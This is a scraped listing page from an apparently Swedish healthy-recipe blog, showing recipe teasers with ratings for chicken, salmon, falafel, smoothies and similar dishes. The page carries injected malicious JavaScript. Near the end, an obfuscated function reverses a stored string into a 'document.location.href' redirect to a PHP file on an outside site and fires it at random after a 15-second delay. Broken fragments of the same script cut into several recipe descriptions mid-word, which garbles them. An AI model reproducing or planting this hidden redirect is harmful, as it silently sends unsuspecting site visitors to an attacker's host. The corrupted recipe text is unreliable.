All Recipes and Posts Tagged Healthy

_SAM0671

Gröna smoothies, mer än bara en grön drink.

By: | 0 Comments | On: September 8, 2013 | Category : Jonas Andersson, Skribenter, Uncategorized

SAMSUNG CSC

  Om du bara ska göra en enda hälsoförändring i ditt liv så rekommenderar jag att du ska börja dricka 1-2 gröna smoothies om dagen. En grön smoothie är gjord på olika sorters frukter, bär och grönsaker som med vatten sedan körs i mixer till en slät och len konsistens. Själv...

Read more
_SAM0279

Kycklinglever stekt i svartvitlök

Genomsnittligt betyg: (4.7 / 5)

Kycklinglever med smak av vitlök

Läs mer
_SAM0261

Svartvitlöks masserad Black Angus (entrecote)

Genomsnittligt betyg: (4.5 / 5)

En härlig kötträtt med smak av vitlök

Läs mer

Bra att ha hemma i förrådet och saker att tänka på

By: | 0 Comments | On: September 7, 2013 | Category : Jonas Andersson, Skribenter

Photo_CD_15

Tänkte dela med mig lite av mina tankar, funderingar och andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ra bra tips hur man lättast håller sig till en sund kost och inte dras till den mörka sidan.Jag...

Read more
_SAM0095

Kyckling med avokado, linsgrodd och spenatsallad.

Genomsnittligt betyg: (3 / 5)

100-200g kycklingbröst  50g hyvlad morot 50g skivor av broccolistammen 40g 3st skivad sparris 30g spenat 50g linsgroddar 40g tärnad avokado ...

Läs mer
_SAM0172

Lax med teriyakimarinerade linsgroddar

Genomsnittligt betyg: (3.7 / 5)

Lax med teriyakimarinerade linsgroddar och kålsallad

Läs mer
image

Köttbullar med grönsaker och gräddsås

Genomsnittligt betyg: (5 / 5)

Enkelt och gott recept på köttbullar av nötfärs.

Läs mer
_SAM0134
falafel1

Falafel

Genomsnittligt betyg: (5 / 5)

En snabblagad rätt som passar perfekt efter träning då den är både proteinrik och fylld med långsamma kolhydrater.

Läs mer
sallad1

Sallad med melon och fetaost

Genomsnittligt betyg: (4 / 5)

Sommarfräsch sallad som passar utmärkt som både lunch och middag

Läs mer
lax2

Laxceviche

Genomsnittligt betyg: (5 / 5)

En lätt, fräsch och proteinrik rätt som passar perfekt i sommarsolen

Läs mer
protein pannkakor

Fluffiga vanilj proteinpannkakor

Genomsnittligt betyg: (2.7 / 5)

Dessa pannkakor är både ljuvliga, riktigt smarriga och lätta att laga. De passar perfekt som frukost, mellanmål eller som vanlig ...

Läs mer
burgare

Kycklingburgare

Genomsnittligt betyg: (4 / 5)

Ett nyttigt alternativ till den traditionella hamburgaren! 500 gram Kycklingfärs 50 gram Soltorkade tomater 75 gram Fetaost 8 stora Portobellosvampar ...

Läs mer
image

Korvstroganoff med kycklingkorv & råris

Genomsnittligt betyg: (3.8 / 5)

Korvstroganoff med Kycklingkorv

Läs mer
image

Tacokyckling

Genomsnittligt betyg: (4.2 / 5)

God Kycklingrätt för dig som gillar tacos

Läs mer
image

Smörstekt torsk med grönsaker och kesoröra

Genomsnittligt betyg: (4.3 / 5)

Enkelt & gott recept med torsk, grönsaker och keso

Läs mer
pizza

Blomkålspizza

Genomsnittligt betyg: (4.7 / 5)

En nyttig och snabblagad pizza med blomkålsbotten

Läs mer
image

Sommarsallad med lax & räkor

Genomsnittligt betyg: (5 / 5)

Lyxig lax & räksallad

Läs mer
image

Äggmuffins med Avokado

Genomsnittligt betyg: (5 / 5)

En roligare variant på omeletten

Läs mer
image

Kycklingbullar & Smörstekta Grönsaker

Genomsnittligt betyg: (5 / 5)

Enkelt och gott recept för dig som vill byta ut den vanliga köttfärsen.

Läs mer
fisk

Fiskpaket i ugn

Genomsnittligt betyg: (4 / 5)

Enkel och god fiskrätt

Läs mer
image

Kycklingpaj

Genomsnittligt betyg: (4 / 5)

Detta är en enkel och nyttig kycklingpaj som går snabbt att slänga ihop. En perfekt måltid efter träning! Pajskal: 1/2 ...

Läs mer
IMG_5126

Stekt lax med bulgursallad

Genomsnittligt betyg: (4.6 / 5)

Laxfilé  80g kokt fullkornsbulgur 30g avokado 1/2-1 persika 25g lättyoghurt 25g kvarg 1/4 tsk honung Lime, efter smak Salt, efter ...

Läs mer
image

Sesamkyckling

Genomsnittligt betyg: (4.1 / 5)

Ett roligare recept för dig som gillar kyckling men vill ha lite ny inspiration

Läs mer
image
$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}elbollar" href="http://deffrecept.se/wp-content/uploads/2013/06/image8.jpg"> image

Mandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}elbollar

Genomsnittligt betyg: (4 / 5)

Enkelt godis med kaffesmak

Läs mer
image
image
image
image
image
bild2
image
image
image
image
image
image
image

Blåbärsgröt

Genomsnittligt betyg: (4 / 5)

Uppiggandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}elbollar

(4 / 5)

  • Jordnötsås-ny
    Kyckling i jordnötssås med shiratakinudlar

    (4.4 / 5)

  • Veckans proteinbomb

    image

    Grekiska biffar med stekta grönsaker

    Grekiska biffar med stekta grönsaker more


    Recent Weekly Specials